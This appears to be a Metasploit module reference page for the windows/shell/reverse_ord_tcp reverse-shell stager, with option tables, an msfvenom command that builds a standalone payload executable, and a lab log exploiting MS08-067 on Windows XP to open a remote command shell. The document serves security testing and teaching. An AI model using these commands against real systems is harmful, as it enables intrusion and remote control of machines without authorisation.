Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7) - Metasploit


This page contains detailed information about how to use the payload/windows/shell/reverse_ord_tcp metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
Module: payload/windows/shell/reverse_ord_tcp
Source code: modules/payloads/stagers/windows/reverse_ord_tcp.rb
Disclosure date: -
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): x86
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

Spawn a piped command shell (staged). Connect back to the attacker

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use payload/windows/shell/reverse_ord_tcp
msf payload(reverse_ord_tcp) > show options
    ... show and set options ...
msf payload(reverse_ord_tcp) > generate

To learn how to generate payload/windows/shell/reverse_ord_tcp with msfvenom, please read this.

Required Options


  • LHOST: The listen address (an interface may be specified)

Knowledge Base


Windows Command Shell


Reverse Ordinal TCP Stager is an unique windows payload for Metasploit Framework.

It is really small (<100 bytes), it uses the existing ws2_32.dll in memory in connect and load the next stage of the payload. It provides a shell on the target machine which can be used to achieve almost anything on the target pc.

Vulnerable Application


This Meterpreter payload is suitable for the following environments:

  • Windows x86
  • Windows x64

Usage


As a payload for an exploit:

To check its compatibility with an exploit, select the exploit in the msf console and type the info command. The output will be similar to:

msf5 payload(windows/shell/reverse_tcp) > info

       Name: Windows Command Shell, Reverse TCP Stager
     Module: payload/windows/shell/reverse_tcp
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 283
       Rank: Normal

Provided by:
  spoonm 
  sf 
  hdm 
  skape 

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST                      yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Description:
  Spawn a piped command shell (staged). Connect back to the attacker

If the platform field includes Windows, then windows/shell/reverse_ord_tcp can be used as the payload.

To use at as a payload for an exploit, use the following commands:

  1. In msfconsole, select an exploit module compatible with windows.
  2. Configure the options for that exploit.
  3. Then run the following command: set windows/shell/reverse_ord_tcp
  4. Set the LHOST option, to be the IP address that the payload should connect to.
  5. Then run the command: exploit.

If the exploit is successful, the payload will get executed.

As a standalone executable

To use it as an executable, use the msfvenom tool. A typical example of doing this is as follows:

./msfvenom -p windows/shell/reverse_ord_tcp LHOST=192.168.23.1 LPORT=4444 -f exe -o /tmp/ordpayload.exe

Scenarios


The following commands are run on a Windows XP SP 2 English Machine:

msf exploit(windows/smb/ms08_067_netapi) > set payload windows/shell/reverse_ord_tcp
payload => windows/shell/reverse_ord_tcp
msf exploit(windows/smb/ms08_067_netapi) > use exploit/windows/smb/ms08_067_netapi
msf exploit(windows/smb/ms08_067_netapi) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf exploit(windows/smb/ms08_067_netapi) > set RHOST 192.168.56.3
RHOST => 192.168.56.3
msf exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.56.3     yes       The target address
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/shell/reverse_ord_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.56.1     yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting


msf exploit(windows/smb/ms08_067_netapi) > exploit

The above commands will result into the following scenario, leading a shell on the target machine:

[*] Started reverse TCP handler on 192.168.56.1:4444
[*] 192.168.56.3:445 - Automatically detecting the target...
[*] 192.168.56.3:445 - Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] 192.168.56.3:445 - Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] 192.168.56.3:445 - Attempting to trigger the vulnerability...
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.56.3
[*] Command shell session 1 opened (192.168.56.1:4444 -> 192.168.56.3:1034) at 2018-08-17 15:25:02 +0530

Go back to menu.

Msfconsole Usage


Here is how the windows/shell/reverse_ord_tcp payload looks in the msfconsole:

msf6 > use payload/windows/shell/reverse_ord_tcp

msf6 payload(windows/shell/reverse_ord_tcp) > show info

       Name: Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
     Module: payload/windows/shell/reverse_ord_tcp
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 93
       Rank: Normal

Provided by:
  spoonm <spoonm@no$email.com>
  sf <[email protected]>

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST                      yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Description:
  Spawn a piped command shell (staged). Connect back to the attacker

Module Options


This is a complete list of options available in the windows/shell/reverse_ord_tcp payload:

msf6 payload(windows/shell/reverse_ord_tcp) > show options

Module options (payload/windows/shell/reverse_ord_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Advanced Options


Here is a complete list of advanced options supported by the windows/shell/reverse_ord_tcp payload:

msf6 payload(windows/shell/reverse_ord_tcp) > show advanced

Module advanced options (payload/windows/shell/reverse_ord_tcp):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   EnableStageEncoding         false            no        Encode the second stage payload
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   PayloadUUIDName                              no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                               no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                              no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking         false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries             0                yes       How many additional successful pingbacks
   PingbackSleep               30               yes       Time (in seconds) to sleep between pingbacks
   PrependMigrate              false            yes       Spawns and runs shellcode in new process
   PrependMigrateProc                           no        Process to spawn and run shellcode in
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StageEncoder                                 no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                    no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback       true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • spoonm
  • sf

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.